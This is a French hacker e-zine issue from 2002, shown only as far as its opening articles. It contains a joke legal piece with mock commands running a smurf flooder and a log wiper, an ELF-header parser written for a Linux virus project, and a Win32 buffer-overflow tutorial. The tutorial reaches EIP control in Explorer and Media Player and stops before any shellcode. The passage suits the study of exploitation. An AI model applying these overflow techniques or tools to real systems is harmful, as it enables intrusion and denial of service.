The Input Output Corporation http://www.rootshell.be/~ioc .oO() P R E S E N T S ()Oo. _ ________ | |__ __ |__ __|| _ \ / \ | | | | | || - / |__| |_| |_| \____| __ __ __ ___ __ __ ________ ___ __ __ ________ ___ __ __ ________ | || '_ \ / _ \ | | | ||__ __| / \ | | | ||_ _ |/ - \| | | ||_ _| | || | | || __/ | - | | | | [ ] || - | | | | __/| - | | | |__||__| |__||__| \______| |__| \_____/ \______| |__| |__| \______| |__| __ ____ __ __ _ ___ __ _ _____ __ __ __ __ | '_ '_ \ / ' | / \ / ' ||__ / | || '_ \ / \ | | | | | || [ ] || - || [ ] | / /_ | || | | || - / |__| |__| |__| \____| \__ | \____| /____||__||__| |__| \____| |___/ ------------------------------------------- _ _ _ Issue#4 14 Juillet 2002 _ ------------------------------------------- \\\|/// \\ - - // ( @ @ ) -=-=oOOo=-(+)-oOOo-=-=-=-oO0() D I S C L A M E R ()0Oo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- La lecture de cette publication électronique implique la lecture de ce disclaimer. Le présent numéro a pour unique vocation de présenter aux lecteurs divers aspects de ce vaste domaine qu'est la sécurité informatique, afin de leur donner les moyens de faire façe à d'éventuelles attaques. Nous n'incitons aucunement nos lecteurs à se livrer à des actes de piratages ni à quelqu'autre activité illicite. Les auteurs de cette publication déclinent toute responsablité quant à l'usage qui peut être fait des informations allant être diffusées ci-aprés. Le contenu du magazine et de son site est sous copyright IOC (2001 - 2002) à moins que le contraire ne soit indiqué. Permission est accordée de citer ou reproduire tout ou partie d'un article, si celui-ci conserve les crédits d'origine. -=-=-=-=-=-=-=-Ooooo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ( ) ooooO ) / ( ) (_/ \ ( \_) .:*$$$$$*:. *-- --* , ( (. )~(. )/ ) =-=-=-=-=-=-=-=-=-=-=-=-=-=-oO0() E D I T O ()0o=-=-=-=-=-oOOo-=-=-=(o)-=-=-oOOo-=- Bienvenue dans cette edition estivale du magazine IOC. Il y a un an jour pour jour, nous vous faisions par d'un heureux évenement, la naissance du groupe ; aujourd'hui, le beau bébé vient de souffler sa premiere bougie ! Nous tenions à remerciers tous nos collaborateurs et partenaires d'avoir rendu cela possible ; plus que jamais c'est vous qui faîtes vivre ce magazine et cette nouvelle issue est là pour nous le rapeller encore une fois. C'est ainsi que nous avons eu le plaisir de conçevoir ce numéro avec l'adie de Li0n7 et Jackniels. Les partenariats s'enchaînnent dans tous les sens. Dabord avec le groupe Hianda : à titre exceptionnel, Abël s'est en effet joint à nous pour ce numero. Autre partenariat en cours cette fois-ci avec nos amis de Newffr.org qui viennent de mettre notre magazine en ligne depuis chez eux, juste a cote de Phrack =) ! http://www.neffr.org/~area : merci du coup de main les gars. Nous profitons de l'edito pour saluer l'equipe de Frag, nouveau magazine francais, dont le premier numero est à paraitre sous peu : http://jahnastah.org, gardez cette adresse à l'oeil. Notez également que Phrack #59 ne vas pas tarder lui non plus ; comme nous le faisait remarquer ohzon l'autre soir sur #hianda, ça va en faire de la lecture pour les vacances =) ! Si vous souhaitez nous proposer un sujet d'article ou nous faire part de critiques/conseils en vue de nous aider à améliorer le magazine, ne vous gênez surtout pas. Bonne lecture ! ___ ___ __ ____ __ __ ____ __ __ _ __ ____ __ / __/ / \ | '_ '_ \ | '_ '_ \ / ' || || __| / \ \__ \| [ ] || | | | | || | | | | || [ ] || || | | - / |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_| \____| ------------------------------------------------------------ | Auteur | n° | T i t r e | ------------------------------------------------------------ | Neofox |I. | Law is Law | ------------------------------------------------------------ | Abël |II. | Linux Virii Project (Part. 1) | ------------------------------------------------------------ | Emper0r |III. | Introduction aux BoF Win32 | ------------------------------------------------------------ | Neofox |IV. | Wtmp is your frieind | ------------------------------------------------------------ | MeiK |V. | Language C : Les Pointeurs | ------------------------------------------------------------ | Li0n7 |VI. | Programmation d'un Smurfer | ------------------------------------------------------------ | Jackniels |VII. | Network Perl Coding | ------------------------------------------------------------ | MeiK |VIII.| Challenge Hackerslab (Part.1) | ------------------------------------------------------------ | Li0n7 |IX. | Programmation d'un Sniffer | ------------------------------------------------------------ | MeiK |X. | Les Algorithmes en Info | ------------------------------------------------------------ | Emper0r |XI. | Shell script & Perl script infection | ------------------------------------------------------------ | Neofox |XII. | Trojanisez vos Binaires | ------------------------------------------------------------ | Li0n7 |XIII.| BoF & shellcodes x86 Howto | ------------------------------------------------------------ -=-=-=-=-=-=-=-=-=-=-=- Contenu de l'archive -=-=-=-=-=-=-=-=-=-=-=- ¤ ioc4.txt ¤ virus.zip ¤ passwd.tar.gz ----------------------------------------------------------------------------------------- I. Law is Law Neofox ----------------------------------------------------------------------------------------- << La Loi, c'est moi ! >> - Judge Dred [ Introduction ] Préférant d'ordinaire les textes techniques aux palabres inutiles, je vous propose quand même un peu de blabla ; ça n'a jamais tué personne me direz vous, c'est vrai, ce n'est pas non plus avec ça que l'on remplit un mag. J'ai pourtant pensé que ce petit article serait l'occasion de faire le point avec humour, sur nos droits, ou plus exactement nos non-droits. Comme,même dans un moment de détente, j'aime que les choses soient bien faites, c'est avec à la main le Code Pénal Dalloz 2002, que j'achève cette introduction. Bien que j'aborde ce thème sur un ton léger et détendu, ce n'est pas une raison pour minimiser les risques que vous encourez en cas de fraude ; ces derniers sont bien réels, soyez en assurés. ++++ | Partie 1 : Généralités | ++++ Je vous livre ici un point de vue personnel sur la question, cela n'engage QUE moi, les autres membres du groupe et auteurs ayant pris part à ce magazine ne peuvent en rien être tenus pour responsables de mes propos et vous êtes libres de partager ou non mon point de vue. Rendons nous d'emblai aux passages qui nous intéressent : << Art. 323-1 Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de traitement automatisé de données est puni d'un an d'emprisonnement et de 100 000F d'amende. Lorsqu'il en est résulté soit la suppression ou la modification de données contenues dans le système [ ... ], la peine est de deux ans d'emprisonnement et de 200 000F d'amandes. >> Art. 323-2 : << Le fait d'entraver ou de fausser le fonctionnement d'un système de traitement automatisé de données est puni de 3 ans d'emprisonnement et de 300 000F d'amende. >> NB: Ca fait cher le datagrame ICMP ... Art. 323-3 : << Le fait d'introduire frauduleusement des données dans un système de traitement automatisé de données ou de supprimer ou de modifier les données qu'ils contient est puni de 3 ans d'emprisonnement et de 300 000F d'amende. >> Remarque : Y a un truc illogique ici : dans le 323-1 on nous dir que lorsqu'il en résulte la modification de données, la peine est de 2ans et de 200batons ; alors que dans le 323-3, nous venons de voir, que "le fait [...] de modifier les données qu'ils contient" vous donne droit non plus a 2ans et 2batons, mais 3ans et 3batons !? Faut se mettre d'accord là ... Vous constaterez aussi l'implacable logique de la justice française qui maîtrise à la perfection l'art subtil de la multiplication. En fait, c'est comme au tiercé ; vous cochez votre pari, disons, "1an et 1baton", puis vous choisissez votre mise : x1, x2 ou x3 ! Encore un peu ... Art. 323-4: << La participation à un groupement formé ou à une entente établie en vue de la participation [...] d'une ou de plusieurs infractions prévues par les articles 323-1 à 323-3 est punie des peines prévues pour l'infraction elle même. >> NB: Tarif de groupe Art. 323-7: << La tentative des délits prévus par les articles 323-1 à 323-3 est punie des mêmes peines. >> NB: tous les coups on gagne ! Réflexion faite, c'est mieux qu'au tiercé. Je tiens à préciser qu'il est pour ma part navrant de constater que de nos jours, la justice se veut plus implacable envers le piratage informatique qu'envers les coups et blessures volontaires à l'arme blanche et violences en réunion ; on se comprend ... ++++ | Partie 2 : La Dure Réalité, résumé | ++++ Si toute fois un détail vous avait échappé, vous trouverez cî-aprés une synthèse plus parlante : [toto@whitehat ~/toto]$ rlogin -l root dalloz.justice.fr Art. 323-1 -100000F dalloz# ./smurf perdu.com Art. 323-2 -300000F dalloz# ./vanish root whitehat 111.222.123.111 Art. 323-3 -300000F xchat> /join #ioc Art. 323-4 -100000F ________________________ Total -800000F TTC opératrice _ << Votre compte est débiteur de 800000F >> n[EOF]ox _ << Et en euros, ça fait combien ? >> --------------------------------------------------------------------------------------- II. Linux Virii Project (Part. I) Abël --------------------------------------------------------------------------------------- [ Introduction ] Voilà c'est ma toute première prestation pour IOC et je suis fier de participer à l'aventure! Pour les personnes, qui ne connaissaient pas Hianda avant la fusion des mags avec IOC, nous avions comme projet de créer un virus pour Linux basé sur les travaux de Silvio Cesare. Je pense qu'au fil des issues, une série d'article sur le projet devrait voir le jour. Suite à quelques ennuies avec la justice, je rappelle aux simples d'esprits et à ceux qui ne voient pas plus loin que le bout de leur nez qu'il s'agit d'un projet à objectif sécuritaire qui pourrait déboucher sur un anti-virus. La fusion des deux zines étant amicale et en rien une vilaine O.P.A, je vous tiens donc au courant de l'avancé du projet. Et je suis heureux de vous dire que le projet avance... Si vous voulez en savoir plus rendez-vous sur le site du groupe (www.hianda.fr.st) rubrique "project", là bas vous trouverez une dizaine de textes traitant du sujet. 0x01. Rappel : ______________ Pour la bonne compréhension de cet article, il est nécessaire que vous ayez un minimum de connaissances sur le format ELF. Je vous conseil donc d'allez lire l'article "Executable And Linkable Format(ELF)" présent sur mon site. Comme je sais que la moitié des lecteurs ne liront pas l'article cité ci-dessus, et que je suis d'une extrème bontée, je vais tout de même vous faire un petit rappel sur le format ELF. ELF signifie Executable and Linking Format, ce qui correspond entre autre au format des binaires sous Linux. Il existe plusieurs types de fichiers objets utilisant le format Elf (=e_type), voici un extrait du fichier : /* Legal values for e_type (object file type). */ #define ET_REL 1 /* Relocatable file */ #define ET_EXEC 2 /* Executable file */ #define ET_DYN 3 /* Shared object file */ [ Comment s'organise un ELF ] Un binaire au format ELF est organisé en plusieurs parties, voici une représentation simplifiée de l'organisation physique d'un fichier objet au format ELF : ELF Header Program header table Segment 1 # Segment de texte Segment 2 # Segment de donnée Section header table Section 1 . . Section n Lorsque l'on lance un binaire, le système va lire la program header table afin de pouvoir grace aux informations contenues dans cette dernière créer l'image du binaire en mémoire. Voici comment s'organise l'image du binaire en mémoire : #1 [TTTTTTTTTTTTTTTT] #2 [TTTTTTTTTTTTTTTT] #3 [TTTTTTTTTTTTPPPP] #4 [PPPPDDDDDDDDDDDD] #5 [DDDDDDDDDDDDDDDD] #6 [DDDDDDDDDDDDPPPP] T = Texte P = Padding (remplissage) D = Données Le padding sert à compléter les segments pour que chaque page représentée par #1,2,3,4,5,6 fasse 4 Ko. Si nous résumons : Linking View Execution View ============ ============== ELF header ELF header Program header table (optional) Program header table Section 1 Segment 1 ... Segment 2 Section n ... Section header table Section header table (optional) Comme vous pouvez le voir, les fichiers objets au format ELF sont composés de plusieurs parties. Aujourd'hui nous allons nous intéresser à l'une de ces parties : le Header ELF. 0x02. Le Header Elf : _____________________ Commençons par jeter un petit coup d'oeil au fichier : /* The ELF file header. This appears at the start of every ELF file. */ typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr; Les commentaires étant assez réduit, je vais approfondir un peu : o e_entry : Cette partie indique au système à l'aide d'une adresse virtuelle le point d'entrer à partir duquel le programme débute, transfert les donnés, puis lance le processus en mémoire. Si le fichier n'a pas de point d'entré, sa valeur est de zéro. o e_phoff : Contient l'offset en bytes à partir de la table "Program Header". o e_shoff : Contient l'offset en bytes à partir de la table "Section Header". o e_ehsize : Represente la taille en bytes du Header Elf. o e_phentsize : Represente la taille en bytes de la table "Program Header". o e_shentsize : Represente la taille en bytes de la table "Section Header". o e_phnum : Contient le nombre d'entrées dans la table "Program Header". o e_shnum : Contient le nombre d'entrées dans la table "Section Header". [ graphique récapitulatif ] ================================================================ File header ================================================================ file offset ----------------------------------------------- 0 | ELF file magic | ----------------------------------------------- 4 | bitness | endian | ELF ver | reserved | ----------------------------------------------- 8 | reserved | ----------------------------------------------- 0Ch | reserved | ----------------------------------------------- 10h | file type | machine | ----------------------------------------------- 14h | ELF ver | ----------------------------------------------- 18h | entry point | ----------------------------------------------- 1Ch | file offset of Program Header (PH) table | ----------------------------------------------- 20h | file offset of Section Header (SH) table | ----------------------------------------------- 24h | flags | ----------------------------------------------- 28h | size of this header | PH table entry size | ----------------------------------------------- 2Ch | entries in PH table | SH table entry size | ----------------------------------------------- 30h | entries in SH table |.shstrtab section index| ----------------------------------------------- 34h 0x03. Lecteur d'Header ELF : ____________________________ Avant de se lancer dans l'écriture d'un virus ou même dans une infection (sur SA machine), il est très important de comprendre concrètement comment s'organise un binaire Elf physiquement et en mémoire. Pour étudier un binaire ELF, vous devez faire un ou plusieurs programmes capables de lire "l'architecture" du fichier ELF, c'est à dire ses spécificitées. Ces types de programmes ne sont pas vraiment difficiles à coder et ont l'avantage d'être très instructifs, le tout est de bien lire et comprendre le fichier . Je viens de découvrir une librairie du nom de "libelf" qui devrait théoriquement vous faciliter la tache enfin en théorie seulement car je l'ai testé (rapidement) et celle-ci ne me donne pas entière satisfaction ; si quelqu'un réussi à maitriser la "chose", je suis preneur ... Voici pour le moment un éditeur d'Header Elf codé par mes soins : /* * Title: ELFORCE * Author: Abël for IOC MAG * Date: 01/04/02 <°(((-< * About: Lecteur d'Header Elf for Linux Virii Project * Gr33tz to: #hianda, Christian Milow, Jamu and IOC * Site: www.hianda.fr.st * Zine: www.ioc.unixlover.com */ #include #include #include void header(Elf32_Ehdr * a) { printf("\n"); printf("e_type : "); switch ((*a).e_type) { /* a->e_type et (*a).e_type st équivalents */ case 0: printf("None\n"); break; case 1: printf("Relocatable object (.o file)\n"); break; case 2: printf("Executable\n"); break; case 3: printf("Shared library\n"); break; case 4: printf("Core file\n"); break; default: printf("Unknown type\n"); } printf("e_machine : "); switch ((*a).e_machine) { case 0: printf("None\n"); break; case 2: printf("SPARC\n"); break; case 3: printf("Intel 80386\n"); break; case 4: printf("68000\n"); break; case 8: printf("MIPS RS3000\n"); break; default: printf("Unknown type\n"); } printf("e_version : "); switch (a->e_version) { case 0: printf("Invalid\n"); break; case 1: printf("ELF version 1\n"); break; default: printf("Unknown type\n"); } printf("e_entry : %p\n", (*a).e_entry); printf("e_ehsize : %d\n", (*a).e_ehsize); printf("\n"); printf("Info about Program Header\n"); printf("e_phoff : %d\n", (*a).e_phoff); printf("e_phentsize : %d\n", (*a).e_phentsize); printf("e_phnum : %d\n", (*a).e_phnum); printf("\n"); printf("Info about Section Header\n"); printf("e_shoff : %d\n", (*a).e_shoff); printf("e_shentsize : %d\n", (*a).e_shentsize); printf("e_shnum : %d\n", (*a).e_shnum); printf("\n"); } int main(int argc, char *argv[]) { int fd; Elf32_Ehdr *ehdr; printf("\n"); printf("\t\t\t\t ¤ ELF HEADER ¤\n"); printf("\n"); if (argc<2) { printf("Usage: ./elforce \n\n"); exit(1); } else printf("%s\n\n", argv[1]); if ((fd = open(argv[1], O_RDONLY)) ==-1){ fprintf(stderr, "Error cannot open [ %s ]\n\n",argv[1]); exit(1); } ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr)); read(fd, ehdr, sizeof(Elf32_Ehdr)); if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) { fprintf(stderr, "Hey!? Are you drunk?? [ %s ] is not an Elf file! ;)\n\n", argv[1]); exit(1); } header(ehdr); free(ehdr); close(fd); return (0); } Alors ?? quand je vous disais que ce n'était pas difficile !! [ Conclusion ] Voilà, l'article est terminé ; je tiens à préciser que je me suis fortement inspiré des sources du virus "brundle-fly" (http://www.roqe.org/brundle-fly/) et de celles du virus "vit" de Silvio Cesare pour écrire "elforce" ( j'ai donc très peu de mérite ). Je vous conseil d'aller jeter un coup d'oeil sur les sources de ces virus. --------------------------------------------------------------------------------------- III. Introduction aux Buffer Overflows Win32 Emper0r --------------------------------------------------------------------------------------- [ Introduction ] Cet article est une petite introduction aux Buffer OverFlow (BoF) sous windows. Même s'il s'adresse aux débutants et que je vais essayer de rappeler quelques bases, il est préférable d'avoir quelques notions de programmation assembleur pour être plus à l'aise. Le buffer overflow, ou débordement de tampon, est l'exploitation "d'une mauvaise" programmation de certains programmes et cela marche aussi bien sur les systemes Unix/linux que Windows. Dans certains cas on peut passer une variable plus grande que l'espace que l'on lui a prévu. Si le programmeur ne fait pas de test sur la longueur de cette variable c'est le plantage ; sous windows on se retrouve avec un message : - "Ce programme va être arrêté car il a effectué une opération non conforme" - Ou alors avec un 'blue screen of death' dans certain cas. Pourquoi ça plante ? Car le reste des données de la variable qui ne sont pas rentrées dans le buffer sont allées écraser des registres du processeur ou alors ont écrasé des donneés importantes dans la mémoire. Nous, ce qui nous arrange, c'est d'écraser EIP. EIP = Intruction Pointer ; ce registre 32 bits indique la prochaine instruction à exécuter. Ce registre ne peut être modifié directement avec une instruction ; seules des instructions de type saut ou 'call', le modifient indirectement). Si l'on met ce que l'on veut dans EIP avec un BoF, on peut faire pointer le micro où l'on veut en memoire. C'est très intéressant, car si notre 'variable' envoyée au programme contient du code exécutable et que l'on fait pointer le micro sur cette 'variable', notre code est exécuté sans que l'utilisateur s'en aperçoive. [ Quelques notions d'assembleur ] Quelques notions juste très vite fait et seulement ce qui peut nous servir pour suivre cet article ; ceux qui ont déjà vu de l'asm peuvent sauter ce passage. Les µp (microprocesseurs) contiennent des registres qui sont des emplacements de mémoire ayant un rôle spécifique: Registres de travail ou registres dit généraux: ----------------------------------------------- EAX, EBX, ECX, EDX : Ce sont des registres à usages multiples ; pour faire simple on va dire qu'ils sont utilisés pour stocker des résultats intermédiaires. Ils peuvent contenir un nombre de 32 bits maximum et sont composés de la façon suivante: ------------------------- | EAX | 32 Bits ------------------------- ------------ | AX | 16 Bits ------------ ------- |AH |AL | 8 Bits ------- Ex: Si EAX = FB1012E0 alors AX=12E0, AH=12, AL=E0 Le registre d'offset EIP ------------------------ Intruction Pointer, ce registre 32 bits indique la prochaine instruction à exécuter. Ce registre ne peut être modifié directement avec une instruction, seules des instructions de type saut ou call, le modifient indirectement. Ex: EIP = BF521235 Chaque instruction exécutée incrémente EIP ; à cette adresse se trouve l'instruction 'call 00401024'. EIP va passer à la valeur 00401024 et le µp va exécuter les instructions en suivant ; cette adresse jusqua ce qu'il rencontre l'instruction 'ret' ; dans ce cas le µp reviendra juste à l'instruction située aprés le 'call 00401024' en BF521235. L'adresse de retour est poussée sur la pile lors de l'exécution du call. Les instructions call servent à appeler des sous-programmes. Les instructions de saut modifient aussi EIP par exemple 'jmp 00401024' amène le µp a exécuter les instructions à cette adresse ; à la différence du "call", le "jmp" ne sauve pas d'adresse de retour. La pile ------- La pile (stack) est un emplacemant ou des données de petites tailles peuvent être placées. Le système employé pour stocker les données obéit au principe lifo (last in first out). Ex1: push eax Met sur la pile la valeur de eax pop eax Met dans EAX la dernière valeur mise sur la pile Ex2: (eax=00000000, ebx=FFFFFFFF) push eax push ebx pop eax pop ebx Après ces 4 instructions on a eax=FFFFFFFF et ebx=00000000 Les API windows --------------- Il y a quelques bonnes explications sur la prog asm et les api dans IOC magazine issue3 (voir: "Programmation Win32asm" par Disk-Lexic). On pousse sur la pile les paramètres nécessaires à l'api et on appelle l'api avec un call. Ex: push 0 ;Handle de la messagebox push offset titre ;Adresse du titre de la fenêtre push offset message ;contenu de la fenêtre push 0 ;Type de message box cal MessageBoxA ;affiche la message box Voilà la petite intro à l'asm est finie :-) c'était vraiment juste un rappel en vrac de certaines choses. On passe à l'action. [ BoF: Exemple1 ] Allez c'est parti pour un petit exemple que tout le monde peut réaliser simplement chez soi :) C'est juste un exemple car ce BoF n'est pas 'vraiment' exploitable je pense ; le texte qui suit me permet d'expliquer de façon assez simple le fonctionnement des BoF. D'abord si vous n'avez pas SI (SoftIce) c'est le moment de l'installer, vous pouvez le télécharger ici: http://linux20368.dn.net/protools/ Il fait dans les 5 ou 6 Mo je crois, les versions win9x et winNt/2000 y sont. Attention celui-ci ne marche pas sous windows XP, pour XP il faut utiliser 'driver studio' de numega aussi, mais là c'est dans les 30 ou 40 Mo et puis c'est plus dur à trouver. Pour windows ME il faut un petit loader pour le faire fonctionner (enfin à mon avis si vous tournez sous WinMe ou winXP, eh bien installez un bon vieux win98se ou mieux un win2000 sp2 !) Je ne vais pas m'attarder ici sur une configuration complexe de SI ; une fois installé rédémarrez le PC (chose habituelle et tres ch***te sous windows), un chtit Ctrl+d et voilà SI s'ouvre, là tapez ces 3 commandes: - code on <--- pour avoir la correspondance entre mnémoniques et code hexa - lines 50 <--- on voit mal sinon - faults on <--- break à la détection d'erreurs windaube, en général cette commande est activée par défaut Pour cet exemple on va prendre un truc tout bête, un problème que contient explorer.exe pour gérer les extensions longues de plus de 129 caractères. Ce BoF est normalement présent sur tous les win9x. (source: http://www.securiteam.com/exploits/5AQ0F000HA.html). Mon test est réaliseé sur un windows 98se tout ce qu'il y a de plus basique, aucun patch d'installé, ni UltimePack. On crée un fichier bidon avec une extension très longue, on ne pas peut le faire sous windows directement mais un petit fichier .bat va nous faire ça très bien. On crée un nouveau fichier .txt où on met dedans: dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa On enregistre, on renomme le fichier *.txt en *.bat et on lance tout ça. Ce script va créer un fichier contenant la sortie de la commande dir dans le répertoire courant, ce fichier va avoir pour nom test avec une extension très longue. On sélectionne le fichier par un simple click et softice break, kool !!! On regarde les registres et on voit eip = 61616161 :-) Un petit Schéma pour expliquer ça: __________________________________ -Situation courante: [ B U F F E R D E L' E X T E N T I O N D U F I C H I E R ][ E I P ] [txt ][xxxxxxxx] -Situation qui écrase eip: [ B U F F E R D E L' E X T E N T I O N D U F I C H I E R ][ E I P ] [aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...] Dans le dernier exemple la valeur xxxxxxxx de eip est écrasée et est remplacée par des 'a' qui ont pour code ascii 61. Voilà pourquoi EIP = 61616161. Ok c'est bon on va quitter softice avec un petit Ctrl+D, on y reviendra plus tard. On se retouve avec un message windows qui confirme bien notre situation. Ce programme va être arrêté car il a effectué une opération non conforme, bla bla bla ... EXPLORER a causé une défaillance de page dans <--- explorer.exe a planté le module à 00de:61616161. <--- a l'adresse 00de:61616161 c'est sur qu'il ne doit pas y avoir la suite du code prévu à cette adresse, donc plantage. Registres : EAX=61616161 CS=0177 EIP=61616161 EFLGS=00000246 <--- EIP=61616161 ( j'adore :-) ) EBX=80070032 SS=017f ESP=00e4e59c EBP=61616161 <--- la suite on s'en fout un peu ECX=dedbc9a0 DS=017f ESI=02adeff4 FS=2177 EDX=81a06950 ES=017f EDI=5000d030 GS=0000 Octets à CS : EIP : État de la pile : 00006161 00000000 792a1dd8 00000000 00e4e658 70c343df 00e4e67c 00000005 00e4e67c 00e4e658 00e4e658 00000000 00e4ea70 00e4ea18 bff7c4bb 00e4ea70 Bon maitenant on passe à une étape un peu longue et pas toujours très marrante dans l'étude d'un BoF, il faut trouver l'offset (le décalage, l'adresse, l'endroit) où on peut gribouiller EIP :-) Voila comment j'ai procédé, je modifie mon fichier .bat de cette facon: dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa123456789abcdefghijklm123456789nopqrst Je sélectionne le fichier crée, SI break, je note la valeur de EIP. EIP = 316D6C6B = code ascii de 1mlk (faut inverser l'ordre des octets). Ici EIP = 316D6C6B. Je reprends la fin du nom de l'extension de mon fichier, une table ascii et je regarde: ....1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m 1 2 3 4 5 6 7 8 9 etc..... | | | | code ascii: 6B 6C 6D 31 Voilà je viens de trouver l'offset (l'endroit) où est 'écrasé' EIP. Offset 140 en décimal si j'ai bien compté ;-). Je peut mettre EIP à la valeur que je veux: dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXXaaaaaaaaaaaaaaa Il suffit de remplacer le code ascii des XXXX par l'adresse que je veux. Mais justement, comment trouver l'adresse qui m'intéresse, celle de mon buffer ? Voici la technique que j'ai utilisé : je reclique sur le fichier qui provoque le BoF, SI break et maintenant je cherche dans les alentours des registres qui n'ont pas été écrasés. Je commence par chercher dans ESP (registre de pointeur pile). Sous SoftIce on tape: d esp - 500 l 500 Cette commande affiche les 500 derniers octets qui se trouvent à esp - 500. Vous pouvez aussi utiliser des softs tels que memory hacker ou memdump qui permettent de faire des recherhes de chaine de caractères en mémoire. On voit très nettement en 012AE10C plein de 'a' c'est le buffer de notre extension de fichier. Chez vous le 012AE10C est très certainement différent. - 1er point déjà très embêtant : pour exploiter ce BoF les adresses ne sont jamais les mêmes et encore plus embêtant aucun des registres ne pointe à aucun endroit de notre buffer :-( On modifie le fichier .bat avec un éditeur hexa pour qu'il nous crée un fichier qui écrasera EIP avec notre valeur 0CE12A01 (encore une fois ne pas oublier la fameuse inversion des octets). - 2eme point très embêtant : ce fichier ne peut être crée car certains codes ascii ne peuvent pas être utilisés dans un nom ou extension de fichier :-( - 3eme point embêtant : notre buffer pour placer du code est vraiment restreint, si on essaie de créer un fichier avec une extension, si je me rappelle bien, de plus de 500 caractères environ, on obtient un message d'erreur et le fichier n'est pas crée. Conclusion de ce premier exemple: Je ne pense pas que ce BoF soit exploitable ; j'ai quand même voulu en parler pour montrer un BoF simple présent dans tout les win9x (c'est vraiment un bof lié a l'os) pas de besoin de télécharger de programme. En expliquant plusieurs exemples on peut aussi voir la diversité que peuvent prendre les BoF et la difficulté pour coder certains exploits. [ BoF: Exemple2 ] Dans ce nouvel exemple je vais parler d'un BoF présent dans le windows media player. Pour réaliser ce BoF on va avoir besoin d'un outil: asfchop.exe, cet outil ce trouve sur le site de Mirco$oft il faut chercher un peu (quel bordel ce site) il fait partie d'une suite d'outils pour travailler les fichiers video: Microsoft Windows Resouce Kit. Ce soft permet d'incorporer des données dans un fichier .asf. Voici le fichier script.txt qui contient les données a insérer dans le fichier .asf start_marker_table 0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0.1 IOC RULEZ end_marker_table Pour réaliser cette insertion on utilise 'asfchop' avec la commande suivante: asfchop -in c:\file0.asf -out file1.asf -script c:\script.txt On obtient un joli fichier 'file1.asf'. On le lance avec windows media player, et on s'aperçoit que dessous la barre des boutons play, stop, pause etc.. il y a le titre 'IOC RULEZ' :-) On clicke sur ce titre et la pouum SI surgit immédiatement, kool :) On regarde les registres et on voit que EIP = 41414141 et EBP = 41414141, mais ce qui est le plus intéressant c'est de regarder dans les registres on saperçoit que EBX pointe dans le buffer, vers la fin. Cela va beaucoup nous servir car l'adresse du buffer change tout le temps ce qui fait que l'on ne peut pas donner d'adresse fixe a EIP. Par contre si l'on fait pointer EIP vers un 'call ebx' en memoire on est sûr de tomber sur le buffer à chaque fois. Pour trouver un 'call ebx' je désassemble user32.dll avec wdasm, au moins ça je suis sûr que c'est tout le temps chargé en mémoire pour tous les windows (par contre je ne pense pas que l'adresse va être compatible avec les win 2000/nt/xp ; pour que cela soit compatible il faudrait scanner la memoire à la recherche dun call de ce type). Je trouve le premier call ebx en BFF549D9. Il aurait été biensûr préférable de prendre un call ebx dans le media player pour une meilleure compatibilité malheureusement celui ci n'en comporte pas. L'offset de l'écrasement de EIP est 149 donc à cet offset je mets avec un éditeur hexa le code D9 49 F5 BF (inversion des octets) Je change mon fichier script de cette façon: start_marker_table 0.0 